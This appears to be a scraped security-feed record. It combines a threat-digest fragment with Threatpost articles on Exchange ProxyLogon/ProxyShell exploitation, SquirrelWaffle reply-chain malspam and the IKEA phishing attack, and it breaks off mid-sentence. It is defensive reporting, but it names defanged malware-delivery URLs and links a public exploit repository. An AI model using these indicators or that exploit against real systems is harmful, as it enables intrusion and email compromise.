Indicator Removal on Host T1124: System Time Discovery T1056.004: Credential API Hooking T1008: Fallback Channels T1489: Service Stop T1204.002: Malicious File T1542: Pre-OS Boot T1068: Exploitation for Privilege Escalation T1070.004: File Deletion T1056.001: Keylogging T1105: Ingress Tool Transfer T1529: System Shutdown/Reboot T1047: Windows Management Instrumentation T1542.003: Bootkit T1055: Process Injection T1070.006: Timestomp T1571: Non-Standard Port T1053: Scheduled Task/Job T1055.001: Dynamic-link Library Injection T1036: Masquerading T1090: Proxy T1505: Server Software Component T1053: Scheduled Task/Job T1036.005: Match Legitimate Name or Location T1090.002: External Proxy T1505.003: Web Shell T1078: Valid Accounts T1027: Obfuscated Files or Information T1078: Valid Accounts T1027.006: HTML Smuggling T1027.002: Software Packing T1542: Pre-OS Boot T1542.003: Bootkit T1055: Process Injection T1055.001: Dynamic-link Library Injection T1218: Signed Binary Proxy Execution T1218.001: Compiled HTML File T1078: Valid Accounts T1497: Virtualization/Sandbox Evasion Threat Advisories: Microsoft\u2019s privilege escalation vulnerability that refuses to go away Google Chrome\u2019s second zero-day in 2022 Magic Hound Exploiting Old Microsoft Exchange ProxyShell Vulnerabilities AvosLocker Ransomware group has targeted 50+ Organizations Worldwide North Korean state-sponsored threat actor Lazarus Group exploiting Chrome Zero-day vulnerability LAPSUS$ \u2013 New extortion group involved in the breach against Nvidia, Microsoft, Okta and Samsung DarkHotel APT group targeting the Hospitality Industry in China New Threat Actor using Serpent Backdoor attacking French Entities Muhstik botnet adds another vulnerability exploit to its arsenal", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-29T13:56:10", "type": "hivepro", "title": "Weekly Threat Digest: 21 \u2013 27 March 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34484", "CVE-2021-34523", "CVE-2022-0543", "CVE-2022-0609", "CVE-2022-1096", "CVE-2022-21919"], "modified": "2022-03-29T13:56:10", "id": "HIVEPRO:E7F36EC1E4DCF018F94ECD22747B7093", "href": "https://www.hivepro.com/weekly-threat-digest-21-27-march-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-04-16T14:13:02", "description": "Recently, the public learned of multiple vulnerabilities ([\u201cProxyLogon\u201d](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>)) that impacted Microsoft\u2019s on-premises Exchange Server, a software application used worldwide to manage communications between employees. Since then, many in the security industry have come to realize that attackers knew of these vulnerabilities up to two months before the announcement, [based on current reports](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/https:/www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>). In fact, the U.S. Cybersecurity & Infrastructure Security Agency (CISA) is [advising entities](<https://us-cert.cisa.gov/ncas/alerts/aa21-062a>) to look for compromise dating back to September 1.\n\nSince the disclosure of these vulnerabilities, the [severity of this situation](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) has continued to worsen. It\u2019s generally recognized that the number of potentially affected organizations is in the tens of thousands \u2013 and that\u2019s only the U.S.-based organizations. Mandiant confirms that the scope of this attack extends beyond the United States and we expect the final tally to be higher than current estimates.\n\nIt is rare that software so ubiquitous as Exchange Server suffers a quartet of severe, easy-to-exploit vulnerabilities. The gravity of this situation compounds when considering that most organizations using Exchange Server are likely small-to-medium (SMB) businesses with no, or a very small, in-house IT security staff, making it difficult to adequately respond to this situation. It is in this very fog that attackers have created an illegitimate multibillion-dollar industry that takes advantage of unknowing, unsuspecting and oft-uninformed organizations.\n\nThis incident should serve as a wake-up call that information security is a responsibility for all of us, and we should do what we can to help as many people as we can, if we have the means. For organizations running Exchange Server but are currently in that \u201cwhat do I do now?\u201d phase, we\u2019ve designed the following informative checklist. The purpose of this list is not to accuse or cast blame, but to inform.\n\n## **The Small-to-Medium Business Microsoft Exchange Checklist**\n\n### **Is This Checklist for Me?**\n\nThe four vulnerabilities described in Microsoft\u2019s communications to date do not appear to affect Exchange Online or Office 365 services.\n\nIf you have a local, physical computer running Exchange, or someone may have deployed Exchange in the cloud\u2014your organization may be at risk. Although both are official Microsoft products, note that a cloud-hosted Exchange Server is different from Exchange Online, which is an entirely cloud-based solution.\n\n## **Checklist Part 1: Is My Implementation of Exchange Vulnerable?**\n\nOne or more of the recently disclosed vulnerabilities give attackers the ability to:\n\n * Authenticate to your Exchange Server without knowing any valid credentials.\n * Abuse your Exchange Server to run malicious code or create files, allowing the attackers access to the compromised system even after patching.\n * Use this fraudulent access to steal administrator credentials and/or create their own accounts.\n * Read, download and delete emails.\n * An attacker could also exploit these vulnerabilities to move to other systems within your network. This depends on how and where you have Exchange deployed \u2013 and is worth a conversation with your local or outsourced IT provider.\n\nUnfortunately, the knowledge and capability to exploit these attacks has reached a global audience. This means that even if your data was not stolen in the past two months, you may be vulnerable to data theft or impact at a later date. Thus, the need to start clean up is now.\n\n### **Checklist: **\n\n[] Do we have Microsoft Exchange?\n\n[] If so, what type of deployment do we have?\n\n[] If we have on-premises Exchange, where is it hosted? On a physical system we can get to, or in the cloud?\n\n## **Checklist Part 2: What Do I Do Now to Patch Exchange?**\n\nIf you have on-premises Exchange, or a cloud-based version of Exchange, the next step is to close off the vulnerabilities using the software patches Microsoft released:\n\n * If you rely on an external IT provider to do your patching, make sure they are patching your system(s) as soon as possible.\n\nIf you need to apply patches yourself, go to Microsoft\u2019s [website](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>) and follow their instructions. You will need to download and install the patches, but the impact to your Exchange Server should be minimal.\n\n[] Do we patch our own servers, or does an IT provider do that for us?\n\n[] IT provider: Is my organization on a priority list to be patched ASAP?\n\n[] Patch yourself: Did we download and install the patches?\n\n[] Create a 30-day plan: Contact a local IT security company or learn how to harden access to Exchange so we are better protected in the future.\n\n## **Checklist Part 3: What Happens After Patching Exchange?**\n\nUnfortunately, we\u2019re not done yet. While patching and hardening may help mitigate the issues surfaced in these vulnerabilities, there may already be malicious files on your Exchange Server. We\u2019ve seen attackers deploy these files (known as \u201cweb shells\u201d) _en masse_ and compromise thousands of servers simultaneously.\n\nDepending on your comfort with security, you may need to request some assistance here. If you have a trustworthy and knowledgeable IT security provider or relationship, reach out to see if they can assist in performing an examination of your system. They will likely give you a script that you can run on your Exchange server that will output data useful to determining compromise.\n\nIf you are comfortable enough to check your system yourself, here are some resources you can use when looking for the presence of malicious files and persistent access:\n\n[] IT security provider: Is there a script we can run on our system to identify malicious files? Does the script also help us identify potential access to the system by an attacker?\n\n[] Self-directed security: Utilize one of the resources above to look for malicious files on your Exchange servers and remove them. Continue digging, using the same resources, to determine if attackers accessed data or your system(s).\n\n[] If either of the above are confirmed: Perform forensic analysis to determine the impact. This may require some external assistance.\n\n## **Wrapping Up**\n\nAt this point, you\u2019ve done about as much initial triage as you can to determine if your Exchange servers were compromised. For some, this may just be the beginning. You may need to launch an investigation to determine how much data the attackers may have accessed. For others, mitigation and removal of some web shells may be all you need to do. In either situation, you took a step to increase difficulty for the attackers, which is important.\n\nFor more information, refer to these resources:\n\n * [CISA Remediating Microsoft Exchange Vulnerabilities](<https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities>)\n * [Microsoft Exchange Server Remote Code Execution Vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>)\n * [Mandiant Blogs: Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities](<https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html>)\n\n**_Matt Bromiley is a senior principal consultant with Mandiant._**\n\n_**Enjoy additional insights from Threatpost\u2019s InfoSec Insider community by **_[**_visiting our microsite_**](<https://threatpost.com/microsite/infosec-insiders-community/>)_**.**_\n", "cvss3": {}, "published": "2021-04-16T14:02:54", "type": "threatpost", "title": "Mandiant Front Lines: How to Tackle Exchange Exploits", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855"], "modified": "2021-04-16T14:02:54", "id": "THREATPOST:18C67680771D8DB6E95B3E3C7854114F", "href": "https://threatpost.com/mandiant-microsoft-exchange-exploits/165439/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-23T00:36:02", "description": "Attackers are gnawing on the ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server to hijack email chains, by malspamming replies to ongoing email threads, researchers say.\n\nWhat\u2019s still under discussion: whether the offensive is delivering SquirrelWaffle, the new email loader that [showed up](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) in September, or whether SquirrelWaffle is just one piece of malware among several that the campaigns are dropping.\n\nCisco Talos researchers first [got wind](<https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) of the SquirrelWaffle malspam campaigns beginning in mid-September, when they saw boobytrapped Microsoft Office documents delivering [Qakbot malware](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>) and the penetration-testing tool [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) \u2013 two of the most common threats regularly observed targeting organizations around the world. The Office documents infected systems with SquirrelWaffle in the initial stage of the infection chain.\n\nSquirrelWaffle campaigns are known for using stolen email threads to increase the chances that a victim will click on malicious links. Those rigged links are tucked into an email reply, similar to how the virulent [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>) malware \u2013 typically spread via malicious emails or text messages \u2013 has been known to work.\n\n## Slipping Under People\u2019s Noses\n\nIn a [report](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) posted on Friday, Trend Micro researchers \u200b\u200bMohamed Fahmy, Sherif Magdy and Abdelrhman Sharshar said that hijacking email replies for malspam is a good way to slip past both people\u2019s spam suspicions and to avoid getting flagged or quarantined by email gateways.\n\n\u201cDelivering the malicious spam using this technique to reach all the internal domain users will decrease the possibility of detecting or stopping the attack, as the mail [gateways] will not be able to filter or quarantine any of these internal emails,\u201d they wrote.\n\nThe attacker also didn\u2019t drop, or use, tools for lateral movement after gaining access to the vulnerable Exchange servers, Trend Micro said. Thus, they left no tracks, as \u201cno suspicious network activities will be detected. Additionally, no malware was executed on the Exchange servers that will trigger any alerts before the malicious email is spread across the environment.\u201d\n\n## Middle East Campaign\n\nTrend Micro\u2019s Incident Response team had decided to look into what researchers believe are SquirrelWaffle-related intrusions in the Middle East, to figure out whether the attacks involved the notorious Exchange server vulnerabilities.\n\nThey shared a screen capture, shown below, that\u2019s representative of the malicious email replies that showed up in all of the user inboxes of one affected network, all sent as legitimate replies to existing threads, all written in English.\n\nThey found that other languages were used in different regions outside of the Middle East attack they examined. Still, in the intrusions they analyzed that were outside of the Middle East, most of the malicious emails were written in English, according to the report.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22101946/malicious-spam-received-by-targets-e1637594408162.png>)\n\nMalicious spam received by targets. Source: Trend Micro.\n\n\u201cWith this, the attackers would be able to hijack legitimate email chains and send their malicious spam as replies to the said chains,\u201d the researchers wrote.\n\n## Who\u2019s Behind This?\n\n[Cryptolaemus](<https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/>) researcher [TheAnalyst](<https://twitter.com/ffforward>) disagreed with Trend Micro on its premise that SquirrelWaffle is actually acting as a malware dropper for Qbot or other malwares. Rather, TheAnalyst asserted on Friday that the threat actor is dropping both SquirrelWaffle and Qbot as [discrete payloads](<https://twitter.com/ffforward/status/1461810466720825352>), and the most recent [confirmed SquirrelWaffle drop](<https://twitter.com/ffforward/status/1461810488870944768>) it has seen was actually on Oct. 26.\n\n> it makes it easy for us who tracks them to identify them. A TTP they always comes back to is links to maldocs in stolen reply chains. They are known to deliver a multitude of malware like [#QakBot](<https://twitter.com/hashtag/QakBot?src=hash&ref_src=twsrc%5Etfw>) [#Gozi](<https://twitter.com/hashtag/Gozi?src=hash&ref_src=twsrc%5Etfw>) [#IcedID](<https://twitter.com/hashtag/IcedID?src=hash&ref_src=twsrc%5Etfw>) [#CobaltStrike](<https://twitter.com/hashtag/CobaltStrike?src=hash&ref_src=twsrc%5Etfw>) and maybe others. >\n> \n> \u2014 TheAnalyst (@ffforward) [November 19, 2021](<https://twitter.com/ffforward/status/1461810468323004417?ref_src=twsrc%5Etfw>)\n\nWith regards to who\u2019s behind the activity, TheAnalyst said that the actor/activity is tracked as tr01/TR (its QakBot affiliate ID)[ TA577](<https://twitter.com/hashtag/TA577?src=hashtag_click>) by Proofpoint and as ChaserLdr by[ Cryptolaemus](<https://twitter.com/Cryptolaemus1>) and that the activity goes back to at least 2020. The actors are easy to track, TheAnalyst said, given small tweaks to their tactics, techniques and procedures (TTPs).\n\nOne such TTP that tr01 favors is adding links to malicious documents included in stolen reply chains, TheAnalyst noted. The threat actor is known to deliver \u201ca multitude of malware,\u201d they said, such as [QakBot](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>), [Gozi](<https://threatpost.com/banking-trojans-nymaim-gozi-merge-to-steal-4m/117412/>), [IcedID](<https://threatpost.com/icedid-banking-trojan-surges-emotet/165314/>), Cobalt Strike and potentially more.\n\n## The Old \u2018Open Me\u2019 Excel Attachment Trick\n\nThe malicious emails carried links (aayomsolutions[.]co[.]in/etiste/quasnam[]-4966787 and aparnashealthfoundation[.]aayom.com/quasisuscipit/totamet[-]4966787) that dropped a .ZIP file containing a malicious Microsoft Excel sheet that downloads and executes a malicious DLL related to the [Qbot](<https://threatpost.com/ta551-tactics-sliver-red-teaming/175651/>) banking trojan.\n\nWhat\u2019s particularly notable, Trend Micro said, is that real account names from the victim\u2019s domain were used as sender and recipient, \u201cwhich raises the chance that a recipient will click the link and open the malicious Microsoft Excel spreadsheets,\u201d according to the report.\n\nAs shown below, the Excel attachment does [what malicious Excel documents do](<https://threatpost.com/hackers-update-age-old-excel-4-0-macro-attack/154898/>): It prompts targets to choose \u201cEnable Content\u201d to view a protected file.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\nTrend Micro offered the chart below, which shows the Excel file infection chain.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22132511/Excel_file_infection_chain__Source-_Trend_Micro_-e1637605525630.jpg>)\n\nExcel file infection chain. Source: Trend Micro.\n\n## The Exchange Tell-Tales\n\nThe researchers believe that the actors are pulling it off by targeting users who are relying on Microsoft Exchange servers that haven\u2019t yet been patched for the notorious, [oft-picked-apart](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) [ProxyLogon](<https://threatpost.com/deadringer-targeted-exchange-servers-before-discovery/168300/>) and [ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) vulnerabilities.\n\nTrend Micro found evidence in the IIS logs of three compromised Exchange servers, each compromised in a separate intrusion, all having been exploited via the vulnerabilities [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) and [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 the same CVEs used in ProxyLogon (CVE-2021-26855) and ProxyShell (CVE-2021-34473 and CVE-2021-34523) intrusions, according to Trend Micro.\n\nThe IIS log also showed that the threat actor is using a [publicly available](<https://github.com/Jumbo-WJB/Exchange_SSRF>) exploit in its attack. \u201cThis exploit gives a threat actor the ability to get users SID and emails,\u201d the researchers explained. \u201cThey can even search for and download a target\u2019s emails.\u201d\n\nThe researchers shared evidence from the IIS logs, replicated below, that depicts the exploit code.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22125426/Exploiting-CVE-2021-26855-as-seen-in-the-IIS-logs-e1637603679782.png>)\n\nExploiting CVE-2021-26855, as demonstrated by the IIS logs. Source: Trend Micro.\n\nMicrosoft fixed the ProxyLogon vulnerabilities in [March](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) and the ProxyShell vulnerabilities in [May](<https://threatpost.com/wormable-windows-bug-dos-rce/166057/>). Those who\u2019ve applied the [May or July](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) updates are protected from all of these. Microsoft has [reiterated](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) that those who\u2019ve applied the ProxyLogon patch released in [March](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>) aren\u2019t protected from ProxyShell vulnerabilities and should install the more recent security updates.\n\n## How to Fend Off ProxyLogon/ProxyShell Attacks\n\nExploiting ProxyLogon and ProxyShell enabled the attackers to slip past checks for malicious email, which \u201chighlights how users [play] an important part in the success or failure of an attack,\u201d Trend Micro observed. These campaigns \u201cshould make users wary of the different tactics used to mask malicious emails and files,\u201d the researchers wrote.\n\nIn other words, just because email comes from a trusted contact is no guarantee that any attachment or link it contains can be trusted, they said.\n\nOf course, patching is the number one way to stay safe, but Trend Micro gave these additional tips if that\u2019s not possible:\n\n * Enable virtual patching modules on all Exchange servers to provide critical level protection for servers that have not yet been patched for these vulnerabilities.\n * Use endpoint detection and response (EDR) solutions in critical servers, as it provides visibility to machine internals and detects any suspicious behavior running on servers.\n * Use endpoint protection design for servers.\n * Apply sandbox technology on email, network and web to detect similar URLs and samples.\n\n_**There\u2019s a sea of unstructured data on the internet relating to the latest security threats. REGISTER TODAY to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This [LIVE, interactive Threatpost Town Hall](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>), sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken. **_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-22T19:26:25", "type": "threatpost", "title": "Attackers Hijack Email Using Proxy Logon/Proxyshell Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-22T19:26:25", "id": "THREATPOST:836083DB3E61D979644AE68257229776", "href": "https://threatpost.com/attackers-hijack-email-threads-proxylogon-proxyshell/176496/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-30T15:47:49", "description": "As of Friday \u2013 as in, shopping-on-steroids Black Friday \u2013 retail titan IKEA was wrestling with a then-ongoing reply-chain email phishing attack in which attackers were malspamming replies to stolen email threads.\n\n[BleepingComputer](<https://www.bleepingcomputer.com/news/security/ikea-email-systems-hit-by-ongoing-cyberattack/>) got a look at internal emails \u2013 one of which is replicated below \u2013 that warned employees of the attack, which was targeting the company\u2019s internal email inboxes. The phishing emails were coming from internal IKEA email addresses, as well as from the systems compromised at the company\u2019s suppliers and partners.\n\n> \u201cThere is an ongoing cyberattack that is targeting Inter IKEA mailboxes. Other IKEA organisations, suppliers, and business partners are compromised by the same attack and are further spreading malicious emails to persons in Inter IKEA.\n> \n> \u201cThis means that the attack can come via email from someone that you work with, from any external organisation, and as reply to an already ongoing conversation. It is therefore difficult to detect, for which we ask you to be extra cautious.\u201d \u2013IKEA internal email to employees.\n\nAs of Tuesday morning, the company hadn\u2019t seen any evidence of its customers\u2019 data, or business partners\u2019 data, having been compromised. \u201cWe continue to monitor to ensure that our internal defence mechanisms are sufficient,\u201d the spokesperson said, adding that \u201cActions have been taken to prevent damages\u201d and that \u201ca full-scale investigation is ongoing.\u201d____\n\nThe spokesperson said that the company\u2019s \u201chighest priority\u201d is that \u201cIKEA customers, co-workers and business partners feel certain that their data is secured and handled correctly.\u201d\n\nIKEA didn\u2019t respond to Threatpost\u2019s queries about whether the attack has been contained or if it\u2019s still ongoing.\n\n## Example Phishing Email\n\nIKEA sent its employees an example phishing email, shown below, that was received in Microsoft Outlook. The company\u2019s IT teams reportedly pointed out that the reply-chain emails contain links ending with seven digits. Employees were warned against opening the emails, regardless of who sent them, and were asked to immediately report the phishing emails to the IT department if they receive them.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/29144159/phishing-email-e1638214934826.jpeg>)\n\nExample phishing email sent to IKEA employees. Source: BleepingComputer.\n\n## Exchange Server Attacks D\u00e9j\u00e0 Vu?\n\nThe attack sounds familiar: Earlier this month, Trend Micro published a [report](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) about attackers who were doing the same thing with replies to hijacked email threads. The attackers were gnawing on the ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server to hijack email chains, by malspamming replies to ongoing email threads and hence boosting the chance that their targets would click on malicious links that lead to malware infection.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nAs security experts have noted, hijacking email replies for malspam campaigns is a good way to slip past people\u2019s spam suspicions and to avoid getting flagged or quarantined by email gateways.\n\nWhat was still under discussion at the time of the Trend Micro report: Whether the offensive was delivering SquirrelWaffle, the new email loader that [showed up](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) in September, or whether SquirrelWaffle was just one piece of malware among several that the campaigns were dropping.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\nCisco Talos researchers first [got wind](<https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) of the SquirrelWaffle malspam campaigns beginning in mid-September, when they saw boobytrapped Microsoft Office documents delivering [Qakbot malware](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>) and the penetration-testing tool [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) \u2013 two of the most common threats regularly observed targeting organizations around the world. The Office documents infected systems with SquirrelWaffle in the initial stage of the infection chain.\n\nSquirrelWaffle campaigns are known for using stolen email threads to increase the chances that a victim will click on malicious links. Those rigged links are tucked into an email reply, similar to how the virulent [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>) malware \u2013 typically spread via malicious emails or text messages \u2013 has been known to work.\n\nTrend Micro\u2019s incident-response team had decided to look into what its researchers believed were SquirrelWaffle-related intrusions in the Middle East, to figure out whether the attacks involved the notorious, [oft-picked-apart](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) [ProxyLogon](<https://threatpost.com/deadringer-targeted-exchange-servers-before-discovery/168300/>) and [ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) Exchange server vulnerabilities.\n\nTheir conclusion: Yes, the intrusions were linked to ProxyLogon and ProxyShell attacks on unpatched Exchange servers, as evidenced by the IIS logs of three compromised servers, each compromised in a separate intrusion, all having been exploited via the ProxyShell and ProxyLogon vulnerabilities [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) and [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>).\n\nIn the Middle East campaign that Trend Micro analyzed, the phishing emails contained a malicious Microsoft Excel doc that did [what malicious Excel documents do](<https://threatpost.com/hackers-update-age-old-excel-4-0-macro-attack/154898/>): It prompted targets to choose \u201cEnable Content\u201d to view a protected file, thus launching the infection chain.\n\nSince IKEA hasn\u2019t responded to media inquiries, it\u2019s impossible to say for sure whether or not it has suffered a similar attack. However, there are yet more similarities between the IKEA attack and the Middle East attack analyzed by Trend Micro earlier this month. Specifically, as BleepingComputer reported, the IKEA reply-email attack is likewise deploying a malicious Excel document that similarly instructs recipients to \u201cEnable Content\u201d or \u201cEnable Editing\u201d to view it.\n\nTrend Micro shared a screen capture, shown below, of how the malicious Excel document looked in the Middle East campaign:\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\n## You Can\u2019t Trust Email from \u2018Someone You Know\u2019\n\nIt\u2019s easy to mistake the malicious replies as coming from legitimate senders, given that they pop up in ongoing email threads. Saryu Nayyar, CEO of Gurucul, noted that IKEA employees are learning the hard way that replies in threads aren\u2019t necessarily legitimate and can be downright malicious.\n\n\u201cIf you get an email from someone you know, or that seems to continue an ongoing conversation, you are probably inclined to treat it as legitimate,\u201d she told Threatpost via email on Monday. \u201cHowever, IKEA employees are finding out otherwise. They are being attacked by phishing emails that are often purportedly from known sources, and may be carrying the Emotet or Qbot trojans to further infect the system and network.\u201d\n\nThis attack is \u201cparticularly insidious,\u201d she commented, in that it \u201cseemingly continues a pattern of normal use.\u201d\n\n## No More Ignoring Quarantine\n\nWith such \u201cnormal use\u201d patterns lulling would-be victims into letting down their guards, it raises the possibility that employees might assume that email filters were mistaken if they quarantined the messages.\n\nThus, IKEA\u2019s internal email advised employees that its IT department was disabling the ability to release emails from quarantine. As it is, its email filters were identifying at least some of the malicious emails:\n\n> \u201cOur email filters can identify some of the malicious emails and quarantine them. Due to that the email could be a reply to an ongoing conversation, it\u2019s easy to think that the email filter made a mistake and release the email from quarantine. We are therefore until further notice disabling the possibility for everyone to release emails from quarantine.\u201d \u2013IKEA internal email to employees.\n\n## Is Training a Waste of Time?\n\nWith such sneaky attacks as these, is training pointless? Some say yes, some say no.\n\nErich Kron, security awareness advocate at [KnowBe4](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUavSzE-2FiwjSkZ-2BMZMLjTD68bBzltWsjOj4iPYBhQEjDkwmuP_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzZcULka2hXrkxot-2FYcsNMOW-2Fi7ZSbc4BW4Y4w5w74JadqFiCZdgYU0Y0aYb-2FD61SsSN5WSYToKPBxI2VArzhMwftrf78GbiRjwM9LzhmNBFfpMuXBsqYiKB-2B-2F-2BBM3106r2sgW-2Be451MnVYlMzEVQ43u-2Fx2JCoSpeITOcIPo6Gi3VBNSVcUaapZzArkSDh5SZ2Cih-2F-2FVdRBgHXCsqyWXs7po0-2FS83TsiYRB3U8HOgtt0HT6BGdSMjxi-2FVc6P1ZgVny6ZGKAKxbHvydLCfU5zrtFQ-3D>), is pro-training, particularly given how damaging these attacks can be.\n\n\u201cCompromised email accounts, especially those from internal email systems with access to an organization\u2019s contact lists, can be very damaging, as internal emails are considered trusted and lack the obvious signs of phishing that we are used to looking for,\u201d he told Threatpost via email on Monday. \u201cBecause it is from a legitimate account, and because cybercriminals often inject themselves into previous legitimate conversations, these can be very difficult to spot, making them very effective.\n\n\u201cThese sorts of attacks, especially if the attackers can gain access to an 